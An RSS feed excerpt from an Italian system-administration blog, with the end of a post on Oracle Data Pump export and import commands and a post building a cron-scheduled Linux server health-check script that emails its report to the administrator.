Current Parallelism: 1<br />
Job Error Count: 0<br />
Dump File: D:TEMPDB10G.DMP<br />
bytes written: 4,096</p>
<p>Worker 1 Status:<br />
State: EXECUTING<br />
Object Schema: SYSMAN<br />
Object Name: MGMT_CONTAINER_CRED_ARRAY<br />
Object Type: DATABASE_EXPORT/SCHEMA/TYPE/TYPE_SPEC<br />
Completed Objects: 261<br />
Total Objects: 261</p></blockquote>
<p>Come scritto prima possiamo impostare il grado di parallelismo con cui lanciare lìexport o l&#8217;import attraverso il parametro PARALLEL e l&#8217;utilizzo della wildcard %U in modo tale che più file di export possano essere creati contemporaneamente.</p>
<blockquote><p>expdp fede/1234@rac10g  schemas=CRED10G PARALLEL=4 directory=DP_DIR dumpfile=CRED10G%U.dmp logfile=expdpCRED10G.log</p></blockquote>
<p>La vista DBA_DATAPUMP_JOBS può essere controllata per verificare lo stato dei jobs lanciati sul server.</p>
<blockquote><p>system@rac10g&gt; select * from dba_datapump_jobs;</p>
<p>OWNER_NAME                     JOB_NAME                       OPERATION<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
JOB_MODE                       STATE                              DEGREE ATTACHED_SESSIONS<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
SYSTEM                         SYS_EXPORT_FULL_01             EXPORT<br />
FULL                           EXECUTING                               1                 1</p></blockquote>
<p>Possono anche essere utilizzati i parametri EXCLUDE e INCLUDE per filtrare gli oggetti da processare.</p>
<blockquote><p>expdp fede/1234@rac10g  schemas=CRED10G include=TABLE:&#8221;IN (&#8216;ANAGRAFICA&#8217;, &#8216;CREDITI&#8217;)&#8221; directory=DP_DIR dumpfile=CRED10G.dmp logfile=expdpCRED10G.log<br />
impdp fede/1234@rac10g  schemas=CRED10G exclude=TABLE:&#8221;= &#8216;CREDITI&#8217;&#8221; directory=DP_DIR dumpfile=CRED10G.dmp logfile=impdpCRED10G.log</p></blockquote>
<p>Nel caso dopo aver lanciato expdp abbiamo chiuso la finestra e vogliamo ritornarci per controllare lo stato,possiamo come prima cosa interrogare la vista DBA_DATAPUMP_JOBS,da li ricavarci il JOB_NAME e quindi eseguire il seguente comando.</p>
<blockquote><p>expdp system/***** attach=SYS_EXPORT_FULL_01<br />
Export: Release 10.1.0.4.0 – 64bit Production on Tuesday, 20 March, 2007 23:53<br />
Copyright (c) 2003, Oracle. All rights reserved.<br />
Connected to: Oracle Database 10g Enterprise Edition Release 10.1.0.4.0 – 64bit Production<br />
With the Partitioning, Real Application Clusters, OLAP and Data Mining options<br />
Job: SYS_EXPORT_TABLE_03<br />
Owner: SYSTEM<br />
Operation: EXPORT<br />
Creator Privs: FALSE<br />
GUID: 2C22B38216C04297E044000E7FEDD1FD<br />
Start Time: Tuesday, 20 March, 2007 23:53<br />
Mode: TABLE<br />
Instance: *****<br />
Max Parallelism: 4<br />
EXPORT Job Parameters:<br />
Parameter Name Parameter Value:<br />
CLIENT_COMMAND system/******** parfile=/backup/****/PARFILES/userdata_tablename.dat<br />
DATA_ACCESS_METHOD AUTOMATIC<br />
ESTIMATE BLOCKS<br />
INCLUDE_METADATA 1<br />
LOG_FILE_DIRECTORY DATA_PUMP_DIR2<br />
LOG_FILE_NAME expdp_tablename_20032007.log<br />
TABLE_CONSISTENCY 0<br />
State: IDLING<br />
Bytes Processed: 0<br />
Current Parallelism: 4<br />
Job Error Count: 0<br />
Dump File: /backup/****/expdp_tablename_20032007.dmp<br />
bytes written: 180,224<br />
Worker 1 Status:<br />
State: UNDEFINED<br />
Worker 2 Status:<br />
State: UNDEFINED<br />
Object Schema: *****<br />
Object Name: *****<br />
Object Type: TABLE_EXPORT/TABLE/TBL_TABLE_DATA/TABLE/TABLE_DATA<br />
Completed Objects: 1<br />
Total Objects: 1<br />
Worker 3 Status:<br />
State: UNDEFINED<br />
Worker 4 Status:<br />
State: UNDEFINED</p></blockquote>
<p>Per avere maggiori informazioni su datapump consiglio di guardare l&#8217;help sia dei comandi impdp che di expdp.</p>
<blockquote><p>expdp help=y</p>
<p>Export: Release 10.1.0.2.0 &#8211; Production on Tuesday, 23 March, 2004 8:33</p>
<p>Copyright (c) 2003, Oracle.  All rights reserved.</p>
<p>The Data Pump export utility provides a mechanism for transferring data objects<br />
between Oracle databases. The utility is invoked with the following command:</p>
<p>Example: expdp scott/tiger DIRECTORY=dmpdir DUMPFILE=scott.dmp</p>
<p>You can control how Export runs by entering the &#8216;expdp&#8217; command followed<br />
by various parameters. To specify parameters, you use keywords:</p>
<p>Format:  expdp KEYWORD=value or KEYWORD=(value1,value2,&#8230;,valueN)<br />
Example: expdp scott/tiger DUMPFILE=scott.dmp DIRECTORY=dmpdir SCHEMAS=scott<br />
or TABLES=(T1:P1,T1:P2), if T1 is partitioned table</p>
<p>USERID must be the first parameter on the command line.</p>
<p>Keyword               Description (Default)<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
ATTACH                Attach to existing job, e.g. ATTACH [=job name].<br />
CONTENT               Specifies data to unload where the valid keywords are:<br />
(ALL), DATA_ONLY, and METADATA_ONLY.<br />
DIRECTORY             Directory object to be used for dumpfiles and logfiles.<br />
DUMPFILE              List of destination dump files (expdat.dmp),<br />
e.g. DUMPFILE=scott1.dmp, scott2.dmp, dmpdir:scott3.dmp.<br />
ESTIMATE              Calculate job estimates where the valid keywords are:<br />
(BLOCKS) and STATISTICS.<br />
ESTIMATE_ONLY         Calculate job estimates without performing the export.<br />
EXCLUDE               Exclude specific object types, e.g. EXCLUDE=TABLE:EMP.<br />
FILESIZE              Specify the size of each dumpfile in units of bytes.<br />
FLASHBACK_SCN         SCN used to set session snapshot back to.<br />
FLASHBACK_TIME        Time used to get the SCN closest to the specified time.<br />
FULL                  Export entire database (N).<br />
HELP                  Display Help messages (N).<br />
INCLUDE               Include specific object types, e.g. INCLUDE=TABLE_DATA.<br />
JOB_NAME              Name of export job to create.<br />
LOGFILE               Log file name (export.log).<br />
NETWORK_LINK          Name of remote database link to the source system.<br />
NOLOGFILE             Do not write logfile (N).<br />
PARALLEL              Change the number of active workers for current job.<br />
PARFILE               Specify parameter file.<br />
QUERY                 Predicate clause used to export a subset of a table.<br />
SCHEMAS               List of schemas to export (login schema).<br />
STATUS                Frequency (secs) job status is to be monitored where<br />
the default (0) will show new status when available.<br />
TABLES                Identifies a list of tables to export &#8211; one schema only.<br />
TABLESPACES           Identifies a list of tablespaces to export.<br />
TRANSPORT_FULL_CHECK  Verify storage segments of all tables (N).<br />
TRANSPORT_TABLESPACES List of tablespaces from which metadata will be unloaded.<br />
VERSION               Version of objects to export where valid keywords are:<br />
(COMPATIBLE), LATEST, or any valid database version.</p>
<p>The following commands are valid while in interactive mode.<br />
Note: abbreviations are allowed</p>
<p>Command               Description<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
ADD_FILE              Add dumpfile to dumpfile set.<br />
ADD_FILE=dumpfile-name<br />
CONTINUE_CLIENT       Return to logging mode. Job will be re-started if idle.<br />
EXIT_CLIENT           Quit client session and leave job running.<br />
HELP                  Summarize interactive commands.<br />
KILL_JOB              Detach and delete job.<br />
PARALLEL              Change the number of active workers for current job.<br />
PARALLEL=.<br />
START_JOB             Start/resume current job.<br />
STATUS                Frequency (secs) job status is to be monitored where<br />
the default (0) will show new status when available.<br />
STATUS=[interval]<br />
STOP_JOB              Orderly shutdown of job execution and exits the client.<br />
STOP_JOB=IMMEDIATE performs an immediate shutdown of the<br />
Data Pump job.</p>
<p>impdp help=y</p>
<p>Import: Release 10.1.0.2.0 &#8211; Production on Saturday, 11 September, 2004 17:22</p>
<p>Copyright (c) 2003, Oracle.  All rights reserved.</p>
<p>The Data Pump Import utility provides a mechanism for transferring data objects<br />
between Oracle databases. The utility is invoked with the following command:</p>
<p>Example: impdp scott/tiger DIRECTORY=dmpdir DUMPFILE=scott.dmp</p>
<p>You can control how Import runs by entering the &#8216;impdp&#8217; command followed<br />
by various parameters. To specify parameters, you use keywords:</p>
<p>Format:  impdp KEYWORD=value or KEYWORD=(value1,value2,&#8230;,valueN)<br />
Example: impdp scott/tiger DIRECTORY=dmpdir DUMPFILE=scott.dmp</p>
<p>USERID must be the first parameter on the command line.</p>
<p>Keyword               Description (Default)<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
ATTACH                Attach to existing job, e.g. ATTACH [=job name].<br />
CONTENT               Specifies data to load where the valid keywords are:<br />
(ALL), DATA_ONLY, and METADATA_ONLY.<br />
DIRECTORY             Directory object to be used for dump, log, and sql files.<br />
DUMPFILE              List of dumpfiles to import from (expdat.dmp),<br />
e.g. DUMPFILE=scott1.dmp, scott2.dmp, dmpdir:scott3.dmp.<br />
ESTIMATE              Calculate job estimates where the valid keywords are:<br />
(BLOCKS) and STATISTICS.<br />
EXCLUDE               Exclude specific object types, e.g. EXCLUDE=TABLE:EMP.<br />
FLASHBACK_SCN         SCN used to set session snapshot back to.<br />
FLASHBACK_TIME        Time used to get the SCN closest to the specified time.<br />
FULL                  Import everything from source (Y).<br />
HELP                  Display help messages (N).<br />
INCLUDE               Include specific object types, e.g. INCLUDE=TABLE_DATA.<br />
JOB_NAME              Name of import job to create.<br />
LOGFILE               Log file name (import.log).<br />
NETWORK_LINK          Name of remote database link to the source system.<br />
NOLOGFILE             Do not write logfile.<br />
PARALLEL              Change the number of active workers for current job.<br />
PARFILE               Specify parameter file.<br />
QUERY                 Predicate clause used to import a subset of a table.<br />
REMAP_DATAFILE        Redefine datafile references in all DDL statements.<br />
REMAP_SCHEMA          Objects from one schema are loaded into another schema.<br />
REMAP_TABLESPACE      Tablespace object are remapped to another tablespace.<br />
REUSE_DATAFILES       Tablespace will be initialized if it already exists (N).<br />
SCHEMAS               List of schemas to import.<br />
SKIP_UNUSABLE_INDEXES Skip indexes that were set to the Index Unusable state.<br />
SQLFILE               Write all the SQL DDL to a specified file.<br />
STATUS                Frequency (secs) job status is to be monitored where<br />
the default (0) will show new status when available.<br />
STREAMS_CONFIGURATION Enable the loading of Streams metadata<br />
TABLE_EXISTS_ACTION   Action to take if imported object already exists.<br />
Valid keywords: (SKIP), APPEND, REPLACE and TRUNCATE.<br />
TABLES                Identifies a list of tables to import.<br />
TABLESPACES           Identifies a list of tablespaces to import.<br />
TRANSFORM             Metadata transform to apply (Y/N) to specific objects.<br />
Valid transform keywords: SEGMENT_ATTRIBUTES and STORAGE.<br />
ex. TRANSFORM=SEGMENT_ATTRIBUTES:N:TABLE.<br />
TRANSPORT_DATAFILES   List of datafiles to be imported by transportable mode.<br />
TRANSPORT_FULL_CHECK  Verify storage segments of all tables (N).<br />
TRANSPORT_TABLESPACES List of tablespaces from which metadata will be loaded.<br />
Only valid in NETWORK_LINK mode import operations.<br />
VERSION               Version of objects to export where valid keywords are:<br />
(COMPATIBLE), LATEST, or any valid database version.<br />
Only valid for NETWORK_LINK and SQLFILE.</p>
<p>The following commands are valid while in interactive mode.<br />
Note: abbreviations are allowed</p>
<p>Command               Description (Default)<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
CONTINUE_CLIENT       Return to logging mode. Job will be re-started if idle.<br />
EXIT_CLIENT           Quit client session and leave job running.<br />
HELP                  Summarize interactive commands.<br />
KILL_JOB              Detach and delete job.<br />
PARALLEL              Change the number of active workers for current job.<br />
PARALLEL=.<br />
START_JOB             Start/resume current job.<br />
START_JOB=SKIP_CURRENT will start the job after skipping<br />
any action which was in progress when job was stopped.<br />
STATUS                Frequency (secs) job status is to be monitored where<br />
the default (0) will show new status when available.<br />
STATUS=[interval]<br />
STOP_JOB              Orderly shutdown of job execution and exits the client.<br />
STOP_JOB=IMMEDIATE performs an immediate shutdown of the<br />
Data Pump job.</p></blockquote>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/installatore.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/installatore.wordpress.com/73/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/installatore.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/installatore.wordpress.com/73/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/installatore.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/installatore.wordpress.com/73/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/installatore.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/installatore.wordpress.com/73/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/installatore.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/installatore.wordpress.com/73/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=installatore.wordpress.com&blog=4360094&post=73&subd=installatore&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://installatore.wordpress.com/2009/09/03/oracle-datapump/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b537482f2745257f3904cfb47cbc98db?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">installatore</media:title>
		</media:content>
	</item>
		<item>
		<title>Linux Monitor / Healthcheck script</title>
		<link>http://installatore.wordpress.com/2009/09/03/linux-monitor-healthcheck-script/</link>
		<comments>http://installatore.wordpress.com/2009/09/03/linux-monitor-healthcheck-script/#comments</comments>
		<pubDate>Thu, 03 Sep 2009 14:10:48 +0000</pubDate>
		<dc:creator>installatore</dc:creator>
				<category><![CDATA[Varie]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[solaris]]></category>
		<category><![CDATA[admin]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[health]]></category>
		<category><![CDATA[monitor]]></category>
		<category><![CDATA[sys]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false">http://installatore.wordpress.com/?p=68</guid>
		<description><![CDATA[In questo articolo,descrivo come tramite l&#8217;uso dei comandi della shell di linux possiamo crearci uno script da schedulare successivamente con cron,per monitorare lo stato di salute dei nostri server.La funzionalità dello script è molto semplice ,sicuramente può essere migliorato.
Come prima cosa partirei controllando che il/i filesystem del nostro server non siano pieni .
[root@rac2 ~]# df [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=installatore.wordpress.com&blog=4360094&post=68&subd=installatore&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>In questo articolo,descrivo come tramite l&#8217;uso dei comandi della shell di linux possiamo crearci uno script da schedulare successivamente con cron,per monitorare lo stato di salute dei nostri server.La funzionalità dello script è molto semplice ,sicuramente può essere migliorato.</p>
<p>Come prima cosa partirei controllando che il/i filesystem del nostro server non siano pieni .</p>
<blockquote><p>[root@rac2 ~]# df -h</p>
<p>Filesystem            Size  Used Avail Use% Mounted on</p>
<p>/dev/mapper/VolGroup00-LogVol00</p>
<p>14G   13G  775M  95% /</p>
<p>/dev/sda1              99M   19M   76M  20% /boot</p>
<p>tmpfs                 502M  300M  202M  60% /dev/shm</p></blockquote>
<div>Controlliamo inoltre gli ultimi login effettuati sulla macchina,come si dice&#8230;.la prudenza non è mai troppa&#8230;</div>
<div></div>
<blockquote>
<div>
<div>[root@rac2 ~]# last | head -20</div>
<div>root     pts/3        192.168.0.8      Tue Aug 18 09:20   still logged in</div>
<div>oracle   pts/3        :0.0             Tue Aug 18 09:17 &#8211; 09:20  (00:02)</div>
<div>oracle   pts/3        :0.0             Tue Aug 18 08:19 &#8211; 09:16  (00:56)</div>
<div>oracle   pts/2        :0.0             Tue Aug 18 07:08   still logged in</div>
<div>oracle   :0                            Tue Aug 18 07:08   still logged in</div>
<div>oracle   :0                            Tue Aug 18 07:08 &#8211; 07:08  (00:00)</div>
<div>root     pts/1        openfiler1       Tue Aug 18 07:04   still logged in</div>
<div>reboot   system boot  2.6.18-128.4.1.e Tue Aug 18 06:57          (02:25)</div>
<div>root     pts/1        :0.0             Tue Aug 18 06:44 &#8211; down   (00:11)</div>
<div>root     pts/2        openfiler1       Tue Aug 18 06:22 &#8211; down   (00:32)</div>
<div>root     pts/1        :0.0             Tue Aug 18 06:15 &#8211; 06:43  (00:28)</div>
<div>root     :0                            Tue Aug 18 06:14 &#8211; down   (00:40)</div>
<div>root     :0                            Tue Aug 18 06:14 &#8211; 06:14  (00:00)</div>
<div>reboot   system boot  2.6.18-128.4.1.e Tue Aug 18 06:10          (00:45)</div>
<div>root     pts/1        :0.0             Tue Aug 18 05:49 &#8211; down   (00:19)</div>
<div>root     pts/1        :0.0             Tue Aug 18 05:47 &#8211; 05:48  (00:00)</div>
<div>root     pts/1        :0.0             Sun Aug 16 16:36 &#8211; 05:46 (1+13:10)</div>
<div>root     pts/2        :0.0             Sun Aug 16 16:26 &#8211; down  (1+13:41)</div>
<div>root     pts/1        :0.0             Sun Aug 16 16:24 &#8211; 16:36  (00:12)</div>
<div>root     :0                            Sun Aug 16 16:23 &#8211; down  (1+13:45)</div>
</div>
</blockquote>
<div>Un&#8217;altra cosa da controllare soprattutto sui sistemi esposti su internet,è la grandezza della cartella temporanea e relativi file,molto spesso al suo interno si annidano rootkit o altri malware.Nel mio caso la cartella temporanea era /tmp</div>
<div></div>
<blockquote>
<div>
<div>[root@rac2 ~]# du -h /tmp</div>
<div>8.0K    /tmp/gconfd-root</div>
<div>4.0K    /tmp/keyring-JuVYH2</div>
<div>4.0K    /tmp/.oracle</div>
<div>16K    /tmp</div>
</div>
</blockquote>
<div>Controlliamo anche lo stato dell&#8217;hardware della scheda madre andando a fare un grep su tutte le voci che contegono state o status.</div>
<div></div>
<blockquote>
<div>
<div>[root@rac2 ~]# dmidecode |grep -B 2 Stat</div>
<div>Serial Number: &#8230;..</div>
<div>Asset Tag:</div>
<div>Boot-up State: Safe</div>
<div>Power Supply State: Safe</div>
<div>Thermal State: Safe</div>
<div>Security Status: None</div>
<div>&#8211;</div>
<div>Max Speed: 5200 MHz</div>
<div>Current Speed: 2400 MHz</div>
<div>Status: Populated, Enabled</div>
<div>&#8211;</div>
<div>On Board Device Information</div>
<div>Type: Ethernet</div>
<div>Status: Enabled</div>
<div>&#8211;</div>
<div>On Board Device Information</div>
<div>Type: Sound</div>
<div>Status: Enabled</div>
<div>&#8211;</div>
<div>On Board Device Information</div>
<div>Type: Other</div>
<div>Status: Enabled</div>
<div>&#8211;</div>
<div>Access Method: Memory-mapped physical 32-bit address</div>
<div>Access Address: 0xFFF81000</div>
<div>Status: Valid, Not Full</div>
<div>&#8211;</div>
<div>Handle 0&#215;1800, DMI type 24, 5 bytes.</div>
<div>Hardware Security</div>
<div>Power-On Password Status: Enabled</div>
<div>Keyboard Password Status: Not Implemented</div>
<div>Administrator Password Status: Enabled</div>
<div>Front Panel Reset Status: Not Implemented</div>
<div>&#8211;</div>
<div>Cooling Device</div>
<div>Type: Fan</div>
<div>Status: OK</div>
<div>&#8211;</div>
<div>Cooling Device</div>
<div>Type: Fan</div>
<div>Status: OK</div>
<div>&#8211;</div>
<div>Cooling Device</div>
<div>Type: Fan</div>
<div>Status: OK</div>
<div>&#8211;</div>
<div>Handle 0&#215;2000, DMI type 32, 11 bytes.</div>
<div>System Boot Information</div>
<div>Status: No errors detected</div>
</div>
</blockquote>
<div>A questo punto diamo un&#8217;occhiata allo stato dei pacchetti droppati e agli errori di trasmissione e ricezione sulle interfacce di rete.In linea di massima questi valori non dovrebbero crescere in maniera esorbitante nell&#8217;arco della giornata.</div>
<blockquote>
<div>
<div>
<div>[root@rac2 ~]# ifconfig</div>
<div>eth4      Link encap:Ethernet  HWaddr 00:0C:29:2D:6F:3E</div>
</div>
<div>inet addr:192.168.0.102  Bcast:192.168.0.255  Mask:255.255.255.0</div>
<div>inet6 addr: fe80::20c:29ff:fe2d:6f3e/64 Scope:Link</div>
<div>UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1</div>
<div>RX packets:2814028 errors:0 dropped:0 overruns:0 frame:0</div>
<div>TX packets:383162 errors:0 dropped:0 overruns:0 carrier:0</div>
<div>collisions:0 txqueuelen:1000</div>
<div>RX bytes:2263618394 (2.1 GiB)  TX bytes: 372588412946 (347 GiB)</div>
<div>Base address:0&#215;2000 Memory:d8940000-d8960000</div>
</div>
</blockquote>
<div>Oltre al comando ifconfig per controllare la parte &#8220;fisica&#8221; del collegamento in rete possiamo usare ethtool.</div>
<div></div>
<blockquote>
<div>
<div>[root@rac2 ~]# ethtool eth0</div>
<div>Settings for eth0:</div>
<div>Supported ports: [ TP ]</div>
<div>Supported link modes:   10baseT/Half 10baseT/Full</div>
<div>100baseT/Half 100baseT/Full</div>
<div>1000baseT/Full</div>
<div>Supports auto-negotiation: Yes</div>
<div>Advertised link modes:  10baseT/Half 10baseT/Full</div>
<div>100baseT/Half 100baseT/Full</div>
<div>1000baseT/Full</div>
<div>Advertised auto-negotiation: Yes</div>
<div>Speed: 1000Mb/s</div>
<div>Duplex: Full</div>
<div>Port: Twisted Pair</div>
<div>PHYAD: 0</div>
<div>Transceiver: internal</div>
<div>Auto-negotiation: on</div>
<div>Supports Wake-on: d</div>
<div>Wake-on: d</div>
<div>Current message level: 0&#215;00000007 (7)</div>
<div>Link detected: yes</div>
</div>
</blockquote>
<div>Tramite lm_sensors possiamo ottenere i valori di elettricità e di temperatura di alcuni componenti della scheda madre della nostra macchina,quindi se non lo avete già fatto bisogna installare lm_sensors e lanciare il comando sensors-detect e seguire la procedura guidata per la prima configurazione.</div>
<blockquote>
<div>
<div>[root@rac2]# sensors</div>
<div>lm85b-i2c-0-2e</div>
<div>Adapter: SMBus I801 adapter at c400</div>
<div>V1.5: +1.47 V (min = +1.42 V, max = +1.58 V)</div>
<div>VCore: +1.49 V (min = +1.45 V, max = +1.60 V)</div>
<div>V3.3: +3.33 V (min = +3.13 V, max = +3.47 V)</div>
<div>V5: +5.03 V (min = +4.74 V, max = +5.26 V)</div>
<div>V12: +12.25 V (min = +11.38 V, max = +12.62 V)</div>
<div>CPU_Fan: 2386 RPM (min = 4000 RPM) ALARM</div>
<div>fan2: 0 RPM (min = 0 RPM)</div>
<div>fan3: 0 RPM (min = 0 RPM)</div>
<div>fan4: 300 RPM (min = 0 RPM)</div>
<div>CPU: +29°C (low = +10°C, high = +50°C)</div>
<div>Board: +29°C (low = +10°C, high = +35°C)</div>
<div>Remote: +28°C (low = +10°C, high = +35°C)</div>
<div>CPU_PWM: 255</div>
<div>Fan2_PWM: 255</div>
<div>Fan3_PWM: 77</div>
<div>vid: +1.525 V (VRM Version 9.0)</div>
</div>
</blockquote>
<div>Bisogna inoltre controllare eventuali errori hardware ai dischi tramite dmesg,in dmesg trovate anche altri errori relativi alle periferiche,qui di seguito lo utilizzo con un grep per i dischi,ovviamente potete personalizzare il grep a vostra discrezione.</div>
<blockquote>
<div>
<div>[root@rac2 ~]# dmesg | grep sda</div>
<div>SCSI device sda: 33554432 512-byte hdwr sectors (17180 MB)</div>
<div>sda: Write Protect is off</div>
<div>sda: Mode Sense: 5d 00 00 00</div>
<div>sda: cache data unavailable</div>
<div>sda: assuming drive cache: write through</div>
<div>SCSI device sda: 33554432 512-byte hdwr sectors (17180 MB)</div>
<div>sda: Write Protect is off</div>
<div>sda: Mode Sense: 5d 00 00 00</div>
<div>sda: cache data unavailable</div>
<div>sda: assuming drive cache: write through</div>
<div>sda: sda1 sda2</div>
<div>sd 0:0:0:0: Attached scsi disk sda</div>
<div>EXT3 FS on sda1, internal journal</div>
</div>
</blockquote>
<div>Quindi controlliamo il numero di processi &#8220;zombie&#8221; e quale tra i processi sta consumando più ram e cpu giusto per vedere che non ci siano problemi (il numero dei processi zombie non deve mai essere troppo alto).</div>
<div></div>
<blockquote>
<div>
<div>[root@rac2]# top -bn 2 &gt;&gt; /tmp/top.txt</div>
<div>top &#8211; 09:52:46 up  130 days,  5 users,  load average: 0.13, 0.21, 0.27</div>
<div>Tasks: 159 total,   3 running, 156 sleeping,   0 stopped,   0 zombie</div>
<div>Cpu(s):  0.0%us,  1.0%sy,  0.0%ni, 95.0%id,  3.6%wa,  0.0%hi,  0.3%si,  0.0%st</div>
<div>Mem:   1027004k total,   936852k used,    90152k free,    20292k buffers</div>
<div>Swap:  2064376k total,    71652k used,  1992724k free,   681484k cached</div>
<div></div>
<div>PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND</div>
<div>1314 root      15   0 12740 1108  804 R  1.0  0.1   0:00.16 top</div>
<div>1274 root      15   0 88948 3328 2588 R  0.3  0.3   0:00.27 sshd</div>
<div>1 root      15   0 10344  508  476 S  0.0  0.0   0:01.22 init</div>
<div>2 root      RT  -5     0    0    0 S  0.0  0.0   0:00.00 migration/0</div>
<div>3 root      34  19     0    0    0 S  0.0  0.0   0:00.05 ksoftirqd/0</div>
<div>4 root      RT  -5     0    0    0 S  0.0  0.0   0:00.00 watchdog/0</div>
<div>5 root      10  -5     0    0    0 S  0.0  0.0   0:05.58 events/0</div>
<div>6 root      10  -5     0    0    0 S  0.0  0.0   0:00.00 khelper</div>
<div>15 root      10  -5     0    0    0 S  0.0  0.0   0:00.01 kthread</div>
<div>19 root      10  -5     0    0    0 S  0.0  0.0   0:08.29 kblockd/0</div>
<div>20 root      20  -5     0    0    0 S  0.0  0.0   0:00.00 kacpid</div>
<div>205 root      15  -5     0    0    0 S  0.0  0.0   0:00.00 cqueue/0</div>
<div>208 root      10  -5     0    0    0 S  0.0  0.0   0:00.00 khubd</div>
</div>
</blockquote>
<div>A questo punto spiegati tutti i singoli comandi possiamo crearci uno script da lanciare tutti i giorni tramite cron,in modo tale che ci invii anche una mail con il resoconto di tutti i comandi.</div>
<div></div>
<blockquote>
<div>
<div>#!/bin/sh</div>
<div># monitor script linux v1</div>
<div>uname -a &gt; /tmp/mhc.txt</div>
<div>echo &#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-&#8221;&gt;&gt;/tmp/mhc.txt</div>
<div>df -h &gt;&gt; /tmp/mhc.txt</div>
<div>last |head -10 &gt;&gt; /tmp/mhc.txt</div>
<div>echo &#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-&#8221;&gt;&gt;/tmp/mhc.txt</div>
<div>du -h /tmp &gt;&gt; /tmp/mhc.txt</div>
<div>echo &#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-&#8221;&gt;&gt;/tmp/mhc.txt</div>
<div>ethtool eth0 &gt;&gt; /tmp/mhc.txt</div>
<div>echo &#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-&#8221;&gt;&gt;/tmp/mhc.txt</div>
<div>ifconfig eth0 &gt;&gt; /tmp/mhc.txt</div>
<div>echo &#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-&#8221;&gt;&gt;/tmp/mhc.txt</div>
<div>dmidecode |grep -B 2 Stat &gt;&gt; /tmp/mhc.txt</div>
<div>echo &#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-&#8221;&gt;&gt;/tmp/mhc.txt</div>
<div>sensors &gt;&gt; /tmp/mhc.txt</div>
<div>echo &#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-&#8221;&gt;&gt;/tmp/mhc.txt</div>
<div>top -bn 2 &gt;&gt; /tmp/mhc.txt</div>
<div>echo &#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-&#8221;&gt;&gt;/tmp/mhc.txt</div>
<div>smartctl -d ata -iH /dev/sda &gt;&gt; /tmp/mhc.txt</div>
<div>smartctl -d ata -iH /dev/sdb &gt;&gt; /tmp/mhc.txt</div>
<div>echo &#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-&#8221;&gt;&gt;/tmp/mhc.txt</div>
<div>dmesg |grep sda &gt;&gt; /tmp/mhc.txt</div>
<div>dmesg |grep sdb &gt;&gt; /tmp/mhc.txt</div>
<div>echo &#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-&#8221;&gt;&gt;/tmp/mhc.txt</div>
<div>cat /tmp/mhc.txt |mail -s server-health-check your@email.com</div>
</div>
